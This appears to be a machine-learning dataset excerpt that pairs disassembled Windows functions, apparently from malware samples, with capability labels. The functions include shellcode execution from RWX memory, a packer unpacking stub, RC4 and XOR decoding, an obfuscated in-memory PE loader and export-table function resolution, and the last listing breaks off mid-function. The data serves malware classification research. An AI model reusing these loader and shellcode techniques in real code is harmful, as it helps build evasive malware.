joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402fb0
Capabilities:
Check os version
Compare security identifiers
Delete file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4252cb
push eax
mov eax, 0x10e0
mov dword fs:[0], esp
call fcn.0040a7d0
push esi
lea eax, [esp + 4]
push eax
xor esi, esi
push esi
push 8
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x40301f
lea ecx, [esp + 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40301f
xor al, al
pop esi
mov ecx, dword [esp + 0x10e0]
mov dword fs:[0], ecx
add esp, 0x10ec
ret
mov ecx, dword [esp + 4]
lea edx, [esp + 0x14]
push edx
push 0x1000
lea eax, [esp + 0xec]
push eax
push 2
push ecx
mov dword [esp + 0x28], 0x1000
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x403007
lea edx, [esp + 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0x34], 0
mov byte [esp + 0x35], 0
mov byte [esp + 0x36], 0
mov byte [esp + 0x37], 0
mov byte [esp + 0x38], 0
mov byte [esp + 0x39], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x403007
push ebx
xor ebx, ebx
push edi
cmp dword [esp + 0xec], esi
jbe 0x4030d3
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea edi, [esp + 0xf4]
lea ebx, [ebx]
mov ecx, dword [edi]
mov edx, dword [esp + 0x1c]
push ecx
push edx
call ebp
test eax, eax
jne 0x4030cd
inc esi
add edi, 8
cmp esi, dword [esp + 0xf0]
jb 0x4030b0
jmp 0x4030d2
mov ebx, 1
pop ebp
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
test ebx, ebx
je 0x4031cd
lea edx, [esp + 0x58]
push edx
mov dword [esp + 0x5c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4031cb
cmp dword [esp + 0x68], 2
jne 0x4031cb
cmp dword [esp + 0x5c], 6
jb 0x4031cb
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
lea esi, [esp + 0x3c]
call fcn.00402f50
push 0x4295e4
push eax
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x1100], 0
call fcn.00403c90
mov esi, 0x10
add esp, 0xc
cmp dword [esp + 0x54], esi
jb 0x403170
mov ecx, dword [esp + 0x40]
push ecx
call fcn.004136f1
add esp, 4
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x38], esi
jae 0x40317e
lea eax, [esp + 0x24]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4031a0
xor ebx, ebx
jmp 0x4031b8
push eax
call edi
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x38], esi
jae 0x4031b1
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [esp + 0x38], esi
jb 0x4031cb
mov edx, dword [esp + 0x24]
push edx
call fcn.004136f1
add esp, 4
test ebx, ebx
mov ecx, dword [esp + 0x10ec]
pop edi
pop ebx
setne al
pop esi
mov dword fs:[0], ecx
add esp, 0x10ec
ret
Function at 0x422937
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00419b87
and dword [ebp - 4], 0
cmp dword [0x42ffe0], 0
mov ebx, eax
jne 0x4229e8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422a99
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422a99
push eax
call fcn.00419b15
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42ffe0], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42ffe4], eax
call esi
push eax
call fcn.00419b15
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42ffe8], eax
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42fff0], eax
test eax, eax
je 0x4229e8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00419b15
pop ecx
mov dword [0x42ffec], eax
mov eax, dword [0x42ffec]
cmp eax, ebx
je 0x422a40
cmp dword [0x42fff0], ebx
je 0x422a40
push eax
call fcn.00419b90
push dword [0x42fff0]
mov esi, eax
call fcn.00419b90
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422a40
test edi, edi
je 0x422a40
call esi
test eax, eax
je 0x422a37
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x422a37
test byte [ebp - 0xc], 1
jne 0x422a40
or dword [ebp + 0x10], 0x200000
jmp 0x422a79
mov eax, dword [0x42ffe4]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422a79
mov eax, dword [0x42ffe8]
cmp eax, ebx
je 0x422a79
push eax
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a79
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42ffe0]
call fcn.00419b90
pop ecx
test eax, eax
je 0x422a99
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422a9b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4b2bc0
Capabilities:
Encode data using xor

Disassembly:
xor al, al
cmp dword [esp + 8], 0
push ebp
mov ebp, dword [esp + 8]
je 0x4b2c57
test ebp, ebp
je 0x4b2c57
mov eax, ebp
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4b2be0
sub eax, edx
push ebx
sar eax, 1
shr eax, 1
push esi
mov ebx, eax
push edi
lea edi, [ebx + 2]
push edi
call fcn.004b374f
mov esi, eax
add esp, 4
test esi, esi
je 0x4b2c52
push edi
push 0
push esi
call fcn.004b6370
push esi
push ebp
mov eax, ebx
call fcn.004b20d0
add esp, 0x14
xor eax, eax
test ebx, ebx
jbe 0x4b2c2b
xor byte [eax + esi], bl
inc eax
cmp eax, ebx
jb 0x4b2c23
mov ecx, dword [esp + 0x18]
lea eax, [ebx + ebx]
push eax
push ecx
push ebx
push esi
push 0
push 0
call dword [0x4bf018]
push esi
mov bl, 1
call fcn.004b574e
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call sym.___main
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0xda50
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, 0x404020
mov ecx, 0xda50
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401b20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x414044
call sym._EnterCriticalSection_4
mov ebx, dword [0x41403c]
sub esp, 4
test ebx, ebx
je 0x401b6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401b64
test esi, esi
je 0x401b64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b40
mov dword [esp], 0x414044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401da0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401e78
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401dde
cmp eax, 4
jne 0x401e00
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401dee
cmp edx, 4
je 0x401dee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d50
Function at 0x6d3600
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x1cd000]
push edi
jmp 0x6d361a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6d3621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d3610
mov eax, 1
add ebx, ebx
jne 0x6d3633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6d3644
jne 0x6d3663
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d3663
dec eax
add ebx, ebx
jne 0x6d3650
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6d3628
add ebx, ebx
jne 0x6d365f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6d36b5
xor ecx, ecx
sub eax, 3
jb 0x6d367b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6d36ea
sar eax, 1
mov ebp, eax
jmp 0x6d3686
add ebx, ebx
jne 0x6d3686
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d3654
inc ecx
add ebx, ebx
jne 0x6d3694
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6d3654
add ebx, ebx
jne 0x6d36a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6d3696
jne 0x6d36b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6d3696
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6d36d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6d36c6
jmp 0x6d3616
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6d36d4
add edi, ecx
jmp 0x6d3616
pop esi
mov edi, esi
mov ecx, 0x10b7e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6d36f2
cmp byte [edi], 0x25
jne 0x6d36f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6d36f7
lea edi, [esi + 0x2c7000]
mov eax, dword [edi]
or eax, eax
je 0x6d376f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e3bcc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e3d84]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6d3724
mov ecx, edi
jns 0x6d3753
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e3d8c]
or eax, eax
je 0x6d3769
mov dword [ebx], eax
add ebx, 4
jmp 0x6d3741
call dword [esi + 0x2e3d88]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6d37a0
cmp al, 0xef
ja 0x6d3793
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6d3775
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6d3782
mov ebp, dword [esi + 0x2e3d90]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6d37d4
sub esp, 0xffffff80
jmp 0x5bc69c
Function at 0x10215df7
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10235cd0], 0
mov byte [0x10235cd4], 0
mov dword [0x10235cc8], 0x247e
mov dword [0x10235ccc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10215e4f
xor eax, eax
mov dword [0x10235ccc], 0
mov dword [ebp - 0x20], eax
jmp 0x10215e77
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10235ccc]
add eax, 1
mov dword [0x10235ccc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10215e4f
jmp 0x10215e3e
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10235cd8], 0
mov edx, dword [0x10235cc4]
mov esi, edx
add esi, 0xffffd965
mov dword [0x10235cc8], esi
mov esi, dword [0x10235cd0]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + eax]
add ebx, esi
mov dword [ebp - 0x24], eax
xor esi, esi
mov dword [ebp - 0x28], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add ebx, edx
mov dword [0x10235cd8], ebx
mov dword [0x10235cc8], 0x162a
mov eax, ebx
cdq
idiv ecx
mov dword [0x10235cd0], edx
mov ecx, dword [ebp - 0x28]
add ecx, 0x26f4
mov dword [0x10235cc4], ecx
mov ecx, dword [ebp - 0x24]
mov cl, byte [edi + ecx]
mov byte [0x10235cd4], cl
mov dword [0x10235cc4], 0x8fc
mov cl, byte [edi + edx]
mov edx, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov dword [0x10235cc4], 0x721
mov cl, byte [0x10235cd4]
mov ebx, dword [0x10235cd0]
mov byte [edi + ebx], cl
mov dword [0x10235cc8], 0x15d4
mov ebx, dword [0x10235ccc]
add ebx, 1
mov dword [0x10235ccc], ebx
cmp ebx, 0x100
mov dword [ebp - 0x20], ebx
jl 0x10215e77
mov dword [0x10235cc4], 0x71f
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10215f63
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x68
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10235cc8], 0x26bd
mov dword [0x10235cc4], 0xe95
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
jmp 0x10216032
mov eax, dword [ebp - 0x3c]
add eax, 0xcd20f
mov ecx, dword [ebp - 0x3c]
add ecx, 0xd9394
mov dword [0x10235cc8], 0x9b1
mov edx, dword [ebp - 0x3c]
mov dword [esp], edx
mov dword [esp + 4], edx
mov esi, dword [ebp - 0x40]
mov dword [esp + 8], esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
call fcn.102162fa
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
mov dword [ecx], edx
mov edx, dword [0x10235cc4]
add edx, 0x183c
mov dword [0x10235cc4], edx
mov dword [ecx + 4], 0x11e200
mov dword [0x10235cc8], 0x13e1
mov edx, dword [ebp - 0x44]
mov dword [ecx + 8], edx
mov edx, dword [0x10235cc4]
add edx, 0x1510
mov dword [0x10235cc4], edx
mov dword [ecx + 0xc], 0x20a0
mov edx, dword [0x10235cc8]
add edx, 0xfffff7d7
mov dword [0x10235cc8], edx
add esp, 0x68
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0x50
mov edi, edx
add edi, esi
add edi, 0x4c
mov esi, dword [edi]
imul edi, eax, 0x50
add edx, edi
add edx, 0x20
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x58f
mov ecx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jne 0x10216032
lea eax, str._tq
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x10235cc8], 0x130b
mov dword [0x10235cc4], 0x1346
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
call fcn.1021624d
mov dword [0x10235cc8], 0xb5d
mov dword [0x10235cc4], 0x6c2
call fcn.10216195
mov dword [esp], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
call fcn.102163cf
mov ecx, eax
mov dword [0x10235ce4], eax
mov eax, esp
mov edx, dword [ebp - 0x40]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
lea edx, section..data
imul esi, eax, 0x50
mov edi, edx
add edi, esi
add edi, 0x4c
mov esi, dword [edi]
imul edi, eax, 0x50
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
imul ebx, eax, 0x50
add edx, ebx
add edx, 0x20
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x3c]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x64], edx
call fcn.10216de8
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x60]
add eax, ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
cmp edx, 0x58f
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], edx
je 0x10215f95
jmp 0x10216115
Function at 0x1021659f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
lea eax, str._tq
mov ecx, 0xe
lea edx, [ebp - 0x24]
mov esi, dword [0x10235cc4]
add esi, 0x1e99
mov dword [0x10235cc4], esi
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
call fcn.1021624d
mov eax, dword [0x10235cc4]
add eax, 0xfffffc44
mov dword [0x10235cc8], eax
mov dword [0x10235cc4], 0x6c2
call fcn.10216195
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.102163cf
xor ecx, ecx
mov dword [0x10235cc4], 0x236d
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
je 0x102166f5
jmp 0x1021665c
mov eax, dword [ebp - 0x40]
add eax, 0x15af
mov dword [0x10235cc8], 0x1ddf
mov dword [0x10235cc4], 0xffffefc9
mov dword [ebp - 0x3c], eax
jmp 0x102166f5
mov dword [0x10235cc4], 0x1258
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10235cc4]
add ecx, 0x194b
mov dword [0x10235cc8], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.10215b75
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x20], ecx
mov dword [0x10235cc4], 0x341
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x28], ecx
cmp ecx, 0
mov dword [ebp - 0x3c], eax
jne 0x10216638
mov eax, dword [ebp - 0x3c]
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x102166fe
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov dword [0x10235cc4], 0x1367
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x10235cc4]
mov edi, esi
add edi, 0xffffec0a
mov dword [0x10235cc4], edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x102167ca
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov edx, dword [ebp - 0x14]
add edx, 0xfffff5a8
mov dword [0x10235cc4], edx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
je 0x10216800
jmp 0x102168a8
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x28], eax
je 0x10216896
jmp 0x102168a8
mov dword [0x10235cc4], 0x264f
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff7
mov dword [ebp - 0x2c], eax
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2], 0x64
mov dword [ebp - 0x28], eax
je 0x10216872
jmp 0x102168a8
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], edx
je 0x1021674d
mov eax, dword [ebp - 0x30]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
jl 0x102167ca
jmp 0x1021674d
xor eax, eax
mov dword [0x10235cc4], 0x28f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x28], eax
jne 0x102168a8
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff5
mov dword [0x10235cc4], 0x2505
shl eax, 1
mov ecx, dword [ebp - 0x18]
add ecx, eax
mov dword [ebp - 0x34], ecx
xor eax, eax
mov ecx, dword [ebp - 0x34]
cmp word [ecx], 0x61
mov dword [ebp - 0x28], eax
jne 0x102168a8
xor eax, eax
mov dword [0x10235cc8], 0x870
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x28], eax
je 0x10216799
jmp 0x102168a8
xor eax, eax
mov dword [0x10235cc4], 0x1f9e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x28], eax
je 0x1021677c
jmp 0x102168a8
mov eax, 1
mov dword [0x10235cc4], 0x536
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x10216c08
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov ecx, dword [0x10235cc4]
add ecx, 0xffffea42
mov dword [0x10235cc8], ecx
mov dword [ebp - 0x10], eax
call fcn.10216f99
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x10235cc4], 0x1516
mov esi, dword [eax + esi + 0x78]
mov dword [0x10235cc4], 0x11d0
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x10235cc8], 0x6c2
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10216d86
jmp 0x10216cb4
mov eax, dword [ebp - 0x28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2c]
mov dword [0x10235cc8], edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [eax + ecx + 0x1c]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
add edx, dword [eax + esi*4]
mov dword [0x10235cc4], 0x1a69
mov dword [ebp - 0x24], edx
jmp 0x10216d86
mov eax, 0xffffefb4
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x24]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
xor esi, esi
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x10216d3f
mov eax, dword [ebp - 0x4c]
add eax, 1
mov cl, byte [ebp - 0x4d]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x4e]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x48], eax
jne 0x10216cee
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x10216c7d
jmp 0x10216d4c
mov eax, 0xffffeebe
xor ecx, ecx
mov dword [0x10235cc4], 0x10da
mov edx, dword [ebp - 0x28]
add edx, 2
